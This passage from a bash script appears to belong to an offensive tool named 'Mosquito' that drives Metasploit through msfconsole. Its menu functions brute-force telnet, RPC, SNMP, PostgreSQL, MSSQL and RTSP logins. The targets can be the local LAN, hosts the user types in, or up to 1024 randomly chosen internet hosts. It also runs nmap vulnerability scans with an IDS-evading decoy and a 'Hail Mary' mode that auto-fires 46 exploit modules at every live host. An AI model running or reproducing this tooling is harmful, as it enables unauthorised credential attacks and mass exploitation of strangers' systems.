echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource mssql_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force telnet service :: done
#
sh_ten () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} telnet_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource telnet_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 95.38.18.209 201.18.152.50" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource telnet_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 600 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource telnet_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force RPC service :: done
#
sh_onze () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} rpc_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource rpc_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 205.72.213.47 199.197.116.190" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource rpc_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 800 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource rpc_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force snmp service :: done
#
sh_twelve () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} snmp_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource snmp_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 192.249.87.128 24.24.40.36" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource snmp_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 250 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource snmp_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force postgres service :: done
#
sh_treze () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} postgres_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource postgres_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 205.88.183.168 185.99.212.190" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource postgres_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 500 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource postgres_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
sh_quatorze () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} rtsp_url_brute resource_"${Reset};
sleep 1
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;setg LHOST $IPADDR;resource rtsp-url-brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 201.203.27.251 159.121.101.207" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;setg LHOST $IPADDR;resource rtsp-url-brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 700 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;setg LHOST $IPADDR;resource rtsp-url-brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
sh_easter_egg () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} 🦟Nmap nse quick scans🦟 ${BlueF}[${YellowF}top-ports${BlueF}]"${Reset};
sleep 1
## Local variable declarations
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" TRUE "Scan Local Lan (fast)" FALSE "Scan Local Lan (discovery)" FALSE "Scan Local Lan (vulns)" FALSE "Scan User Input Host(s)" --width 330 --height 220) > /dev/null 2>&1
## random database xml file generator
rand=$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 6 | head -n 1)
## Scan Local Lan (fast)
if [ "$scan" = "Scan Local Lan (fast)" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24🦟"${Reset};
msfconsole -q -x "workspace -a mosquito;db_nmap -sn $RANGE.0/24;db_export -f xml -a $IPATH/logs/database_$rand.xml;hosts -C address,name,os_name,purpose,info;workspace -d mosquito"
## Scan Local Lan (nse discovery categorie)
elif [ "$scan" = "Scan Local Lan (discovery)" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24🦟"${Reset};
top_pp=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input top-ports to scan\nExample: 1000" --width 450) > /dev/null 2>&1
msfconsole -q -x "workspace -a mosquito;db_nmap -sS -v -Pn -n -T4 -O --top-ports $top_pp --open --script=nbstat.nse,smb-os-discovery.nse,smb-enum-shares.nse,smb-vuln-regsvc-dos.nse,telnet-ntlm-info.nse,ssl-ccs-injection.nse,http-slowloris-check.nse,http-mobileversion-checker.nse $RANGE.0/24;db_export -f xml -a $IPATH/logs/database_$rand.xml;hosts -C address,name,os_name,purpose,info;services -c port,proto,name,state;workspace -d mosquito"
## Scan Local Lan (nse vuln categorie)
elif [ "$scan" = "Scan Local Lan (vulns)" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24🦟"${Reset};
top_pp=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input top-ports to scan\nExample: 1000" --width 450) > /dev/null 2>&1
msfconsole -q -x "workspace -a mosquito;db_nmap -sS -v -Pn -n -T4 -O --top-ports $top_pp --open --script=vuln $RANGE.0/24;db_nmap -sV -T5 -Pn --script=freevulnsearch.nse,vulners.nse $RANGE.0/24;db_export -f xml -a $IPATH/logs/database_$rand.xml;hosts -C address,name,os_name,purpose,info;services -c port,proto,name,state;workspace -d mosquito"
## Scan User Input Host(s) (nse vuln categorie)
elif [ "$scan" = "Scan User Input Host(s)" ]; then
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 192.168.1.71 192.168.1.254" --width 450) > /dev/null 2>&1
echo "${BlueF}[☠]${white} Scanning Local Machine: $rhost🦟"${Reset};
top_pp=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input top-ports to scan\nExample: 1000" --width 450) > /dev/null 2>&1
msfconsole -q -x "workspace -a mosquito;db_nmap -sS -v -Pn -n -T4 -O --top-ports $top_pp --open --script=vuln $rhost;db_nmap -sV -T5 -Pn --script=freevulnsearch.nse,vulners.nse $rhost;db_export -f xml -a $IPATH/logs/database_$rand.xml;hosts -C address,name,os_name,purpose,info;services -c port,proto,name,state;workspace -d mosquito"
else
## None option selected ..aborting..
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# HAIL MARY (mass_exploiter.rc)
#
sh_hail_mary () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} mass_exploiter resource_"${Reset};sleep 1
## mass_exploiter banner
echo "" && echo ""
echo ${BlueF}" 🦟 armitage Hail Mary (based) resource script 🦟"${Reset};
cat << !
------------------------------------------------
mass_exploiter.rc resource script allow us to scan user inputs (rhosts/lhosts)
or import an database.xml file to msfdb and auto-run multiple exploit modules
againts all alive db hosts based on their port number(s) or service name(s).
'This module exploits ports: 21:22:23:80:110:139:445:1433:3306:3389:8080:55553'
'And Loads [46] exploits and [11] auxiliarys scanners in MAX_PORTS scan mode'
!
echo -n "${BlueF}[${YellowF}?${BlueF}]${white} Execute mass_exploiter.rc script? (y/n)${RedF}:${white}"${Reset};read question
if [ "$question" = "y" ] || [ "$question" = "Y" ]; then
## Local variable declarations
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" TRUE "Scan user input rhosts" FALSE "Import database.xml (rhosts)" FALSE "Suggest exploits (dont exploit)" --width 320 --height 210) > /dev/null 2>&1
if [ "$scan" = "Import database.xml (rhosts)" ]; then
dbx=$(zenity --title "🦟 MOSQUITO 🦟" --filename=$IPATH --file-selection --text "chose database.xml file to import") > /dev/null 2>&1
elif [ "$scan" = "Suggest exploits (dont exploit)" ]; then
:
else
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 117.2.40.217 45.32.87.101" --width 450) > /dev/null 2>&1
fi
if ! [ "$scan" = "Suggest exploits (dont exploit)" ]; then
scan_max=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Scan MAX number of ports or regular scan?\nWARNING: Scanning MAX ports it will take longer." --radiolist --column "Pick" --column "Option" TRUE "Scan default ports (fast)" FALSE "Scan MAX number of ports" --width 330 --height 180) > /dev/null 2>&1
if [ "$scan_max" = "Scan default ports (fast)" ]; then
max_value="false"
else
max_value="true"
fi
decoy=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Nmap IDS evasion decoy technic" --radiolist --column "Pick" --column "Option" TRUE "Use www.apple.org decoy (default)" FALSE "Manualy set the 2º decoy ip addr" --width 320 --height 180) > /dev/null 2>&1
fi
#
# scanning user inputs
#
if [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Import user inputs (rhosts) to database."${Reset};
# manualy set 2º decoy ip addr ?
if [ "$decoy" = "Use www.apple.org decoy (default)" ]; then
msfconsole -q -x "setg RHOSTS $rhost;setg LHOST $IPADDR;setg MAX_PORTS $max_value;resource mass_exploiter.rc"
else
msfconsole -q -x "setg SET_DECOY true;setg RHOSTS $rhost;setg LHOST $IPADDR;setg MAX_PORTS $max_value;resource mass_exploiter.rc"
fi
#
# suggest exploit modules
#
elif [ "$scan" = "Suggest exploits (dont exploit)" ]; then
echo "${BlueF}[${YellowF}running${BlueF}]:${white} mass_exploiter - exploit suggester."${Reset};
msfconsole -q -x "setg SUGGEST true;resource mass_exploiter.rc"
#
# Import database.xml file to msfdb
#
elif [ "$scan" = "Import database.xml (rhosts)" ]; then
echo "${BlueF}[☠]${white} Import database.xml (rhosts) to database."${Reset};
# manualy set 2º decoy ip addr ?
if [ "$decoy" = "Use www.apple.org decoy (default)" ]; then
msfconsole -q -x "setg IMPORT_DB $dbx;setg LHOST $IPADDR;setg MAX_PORTS $max_value;resource mass_exploiter.rc"
else
msfconsole -q -x "setg SET_DECOY true;setg IMPORT_DB $dbx;setg LHOST $IPADDR;setg MAX_PORTS $max_value;resource mass_exploiter.rc"
fi
## None option sellected..aborting ..
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
else
echo "${BlueF}[${RedF}x${BlueF}]${white} Aborting Module execution 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
###################################################################
# * 🦟 MOSQUITO MAIN MENU 🦟 * #
###################################################################
sh_main () {
rm -f 1024 > /dev/nul 2>&1
}
# loop forever
while :
do
clear
echo "---"${BlueF}
cat << !
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \ __ \_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\____//____/ \__, / \__,_/ /_/ \__/ \____/v:$ver